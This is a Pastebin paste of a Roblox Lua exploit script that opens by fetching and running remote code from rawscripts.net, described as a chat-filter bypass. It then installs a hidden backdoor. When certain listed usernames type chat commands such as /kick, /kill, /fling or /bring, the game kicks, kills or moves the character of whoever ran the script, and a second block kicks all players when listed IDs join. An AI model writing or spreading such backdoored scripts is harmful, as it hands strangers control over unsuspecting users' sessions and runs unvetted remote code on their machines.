Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-NeverTag-chat-bypasser-WORKING-ON-SOLARA-28865"))()
- local Players = game:GetService("Players")
- local LocalPlayer = Players.LocalPlayer
- local developerUsernames = {"Aintnoway123n", "Toezo_o", "NannaDev", "FEWithoutEffort", "wutdahell510"} -- List of developer usernames
- -- Function to get the UserId from the username
- local function getUserIdFromUsername(username)
- local success, userId = pcall(function()
- return Players:GetUserIdFromNameAsync(username)
- end)
- if success then
- return userId
- else
- warn("Failed to get UserId for username:", username)
- return nil
- end
- end
- -- Retrieve the developers' UserIds
- local scriptDeveloperIds = {}
- for _, username in ipairs(developerUsernames) do
- local userId = getUserIdFromUsername(username)
- if userId then
- table.insert(scriptDeveloperIds, userId)
- else
- warn("Unable to retrieve UserId for username:", username)
- end
- end
- local followConnection -- To handle the `.follow` connection
- -- Utility function to execute the command
- local function executeCommand(message, sender)
- local lowerMessage = message:lower()
- -- Ensure the message starts with the new prefix "/"
- if lowerMessage:sub(1, 1) == "/" then
- -- Remove the prefix from the message for command matching
- local command = lowerMessage:sub(2)
- if table.find(scriptDeveloperIds, sender.UserId) then
- -- /kick command
- if command == "kick" then
- LocalPlayer:Kick("Aint Kicked You Because You're Lifeless Shit")
- -- /kill command
- elseif command == "kill" then
- LocalPlayer.Character:BreakJoints() -- Simulates death by breaking joints
- -- /rocket command (with fiery trail effect)
- elseif command == "rocket" then
- local character = LocalPlayer.Character
- local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
- if humanoidRootPart then
- -- Create the BodyVelocity to move the player upwards
- local bodyVelocity = Instance.new("BodyVelocity")
- bodyVelocity.MaxForce = Vector3.new(100000, 100000, 100000)
- bodyVelocity.Velocity = Vector3.new(0, 100, 0) -- Normal upward force
- bodyVelocity.Parent = humanoidRootPart
- -- Add a trail effect
- local trail = Instance.new("Trail")
- trail.Parent = humanoidRootPart
- trail.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.5, 0)) -- Red to orange gradient
- trail.Lifetime = 0.5
- trail.Attachment0 = Instance.new("Attachment", humanoidRootPart)
- trail.Attachment1 = Instance.new("Attachment", humanoidRootPart)
- trail.WidthScale = NumberSequence.new(1, 0) -- Gradually decreases width
- -- Optional: Add a particle emitter for extra effects
- local particles = Instance.new("ParticleEmitter")
- particles.Parent = humanoidRootPart
- particles.Texture = "rbxassetid://258128463" -- Fire texture
- particles.Rate = 50
- particles.Lifetime = NumberRange.new(0.5, 1)
- particles.Speed = NumberRange.new(5, 10)
- particles.VelocitySpread = 180
- particles.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 1, 0)) -- Red to yellow gradient
- particles.LightEmission = 0.7
- -- Clean up after 1 second
- game:GetService("Debris"):AddItem(bodyVelocity, 1)
- game:GetService("Debris"):AddItem(trail, 1)
- game:GetService("Debris"):AddItem(particles, 1)
- end
- -- /freeze command
- elseif command == "freeze" then
- local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
- if root then
- local bodyPosition = Instance.new("BodyPosition")
- bodyPosition.MaxForce = Vector3.new(400000, 400000, 400000)
- bodyPosition.D = 1000
- bodyPosition.P = 50000
- bodyPosition.Position = root.Position
- bodyPosition.Parent = root
- local bodyGyro = Instance.new("BodyGyro")
- bodyGyro.MaxTorque = Vector3.new(400000, 400000, 400000)
- bodyGyro.CFrame = root.CFrame
- bodyGyro.Parent = root
- end
- -- /unfreeze command
- elseif command == "unfreeze" then
- local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
- if root then
- local bodyPosition = root:FindFirstChildOfClass("BodyPosition")
- if bodyPosition then bodyPosition:Destroy() end
- local bodyGyro = root:FindFirstChildOfClass("BodyGyro")
- if bodyGyro then bodyGyro:Destroy() end
- end
- -- /explode command
- elseif command == "explode" then
- local explosion = Instance.new("Explosion")
- explosion.Position = LocalPlayer.Character.HumanoidRootPart.Position
- explosion.BlastRadius = 10
- explosion.BlastPressure = 5000
- explosion.Parent = workspace
- -- /bring command
- elseif command == "bring" then
- if LocalPlayer.Character and sender.Character then
- LocalPlayer.Character:SetPrimaryPartCFrame(sender.Character.HumanoidRootPart.CFrame)
- end
- -- /fling command
- elseif command == "fling" then
- local bodyVelocity = Instance.new("BodyVelocity")
- bodyVelocity.MaxForce = Vector3.new(999999999, 999999999, 999999999)
- bodyVelocity.Velocity = Vector3.new(0, 5000, 0)
- bodyVelocity.Parent = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
- game:GetService("Debris"):AddItem(bodyVelocity, 1)
- -- /follow command
- elseif command == "follow" then
- local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
- if humanoid and sender.Character then
- if followConnection then followConnection:Disconnect() end -- Ensure no previous follow connections
- followConnection = game:GetService("RunService").Stepped:Connect(function()
- if LocalPlayer.Character and sender.Character then
- local rootPart = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
- local senderRootPart = sender.Character:FindFirstChild("HumanoidRootPart")
- if rootPart and senderRootPart then
- local direction = (senderRootPart.Position - rootPart.Position).Unit
- local targetPosition = senderRootPart.Position - direction * 3 -- Keep some distance
- rootPart.CFrame = CFrame.new(rootPart.Position, senderRootPart.Position)
- rootPart.Velocity = direction * humanoid.WalkSpeed
- end
- else
- if followConnection then followConnection:Disconnect() end -- Disconnect if something breaks
- end
- end)
- end
- -- /unfollow command
- elseif command == "unfollow" then
- if followConnection then
- followConnection:Disconnect()
- followConnection = nil
- end
- -- /sit command
- elseif command == "sit" then
- local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
- if humanoid then
- humanoid.Sit = true -- This properly sets the character to sit
- end
- end
- end
- end
- end
- -- Event listener for players' chat messages
- local function onPlayerAdded(player)
- player.Chatted:Connect(function(message)
- executeCommand(message, player)
- end)
- end
- -- Listen for PlayerAdded event
- Players.PlayerAdded:Connect(onPlayerAdded)
- -- Handle already connected players (in case they were in the game before the script started)
- for _, player in ipairs(Players:GetPlayers()) do
- onPlayerAdded(player)
- end
- local Players = game:GetService("Players")
- -- Developer User IDs
- local developerIDs = {4533073048, 4809025733} -- Add your IDs here
- -- Function to check if a player is a developer
- local function isDeveloper(player)
- return table.find(developerIDs, player.UserId) ~= nil
- end
- -- Function to announce when a developer joins
- local function announceDeveloper(player)
- if isDeveloper(player) then
- -- Message to all players
- for _, otherPlayer in pairs(Players:GetPlayers()) do
- otherPlayer:LoadCharacter() -- Ensure GUI refreshes
- otherPlayer:Kick("Aint Detected Your Script! 🤑") -- Kick if necessary
- end
- end
- end
- -- Check for developers already in the game
- for _, player in pairs(Players:GetPlayers()) do
- announceDeveloper(player)
- end
- -- Listen for new players joining
- Players.PlayerAdded:Connect(function(player)
- announceDeveloper(player)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement